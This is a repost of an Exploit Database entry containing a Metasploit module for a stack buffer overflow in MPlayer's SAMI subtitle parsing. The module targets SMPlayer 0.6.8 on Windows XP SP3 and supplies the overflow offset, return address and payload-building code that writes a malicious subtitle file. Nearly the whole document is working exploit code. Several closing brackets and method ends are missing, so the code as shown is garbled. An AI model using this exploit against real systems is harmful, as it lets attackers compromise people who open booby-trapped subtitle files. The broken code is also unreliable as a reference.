MPlayer – ‘.SAMI’ Subtitle File Buffer Overflow (Metasploit)

Exploit Database
134 阅读

作者： Metasploit

日期： 2012-05-30
类别：
- local
平台：
- windows
来源：https://www.exploit-db.com/exploits/18954/

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# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name' => 'MPlayer SAMI Subtitle File Buffer Overflow',

'Description'=> %q{

This module exploits a stack-based buffer overflow found in the handling

of SAMI subtitles files in MPlayer SVN Versions before 33471. It currently

targets SMPlayer 0.6.8, which is distributed with a vulnerable version of mplayer.

The overflow is triggered when an unsuspecting victim opens a movie file first,

followed by loading the malicious SAMI subtitles file from the GUI. Or, it can also

be done from the console with the mplayer "-sub" option.

'License'=> MSF_LICENSE,

'Author' => [

'Jacques Louw', # Vulnerability Discovery and PoC

'juan vazquez' # Metasploit module

'Version'=> '$Revision: $',

'References' =>

[

[ 'BID', '49149' ],

[ 'OSVDB', '74604' ],

[ 'URL', 'http://labs.mwrinfosecurity.com/files/Advisories/mwri_mplayer-sami-subtitles_2011-08-12.pdf' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'DisablePayloadHandler' => 'true',

'Payload'=>

{

'Space'=> 4000,

'BadChars' => "\x00\x0a\x0d\x09\x3c\x3e\x5c\x22\x7b\x7d",

'Platform' => 'win',

'Targets'=>

[

[ 'SMPlayer 0.6.8 / mplayer.exe Sherpya-SVN-r29355-4.5.0 / Windows XP English SP3',

{

'Offset' => 1033,

'Ret' => 0x016c14df, # jmp esp from mplayer.exe .rsrc

'WritableAddress' => 0x013ab3ae # from mplayer.exe .bss

}

'Privileged' => false,

'DisclosureDate' => 'May 19 2011',

'DefaultTarget'=> 0))

register_options(

[

OptString.new('FILENAME', [ false, 'The file name.', 'msf.smi']),

], self.class)

end

# Split the subtitle to avoid mplayer complaining

# about the line max length

def sami_encode(s)

r = ""

i = 0

while i < s.length

r << s[i, 32]

r << "\n"

i += 32

end

def exploit

sploit = rand_text(target['Offset'])

sploit << [target.ret].pack("V")

sploit << "\xeb\x06" # jmp short 0x8

sploit << rand_text(2)

sploit << [target['WritableAddress']].pack("V")

sploit << payload.encoded

sami = "<SAMI>\n"

sami << "<BODY>\n"

sami << "<SYNC Start=100550>\n"

sami << sami_encode(sploit)

sami << "</SYNC>\n"

sami << "</BODY>\n"

sami << "</SAMI>\n"

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(sami)

end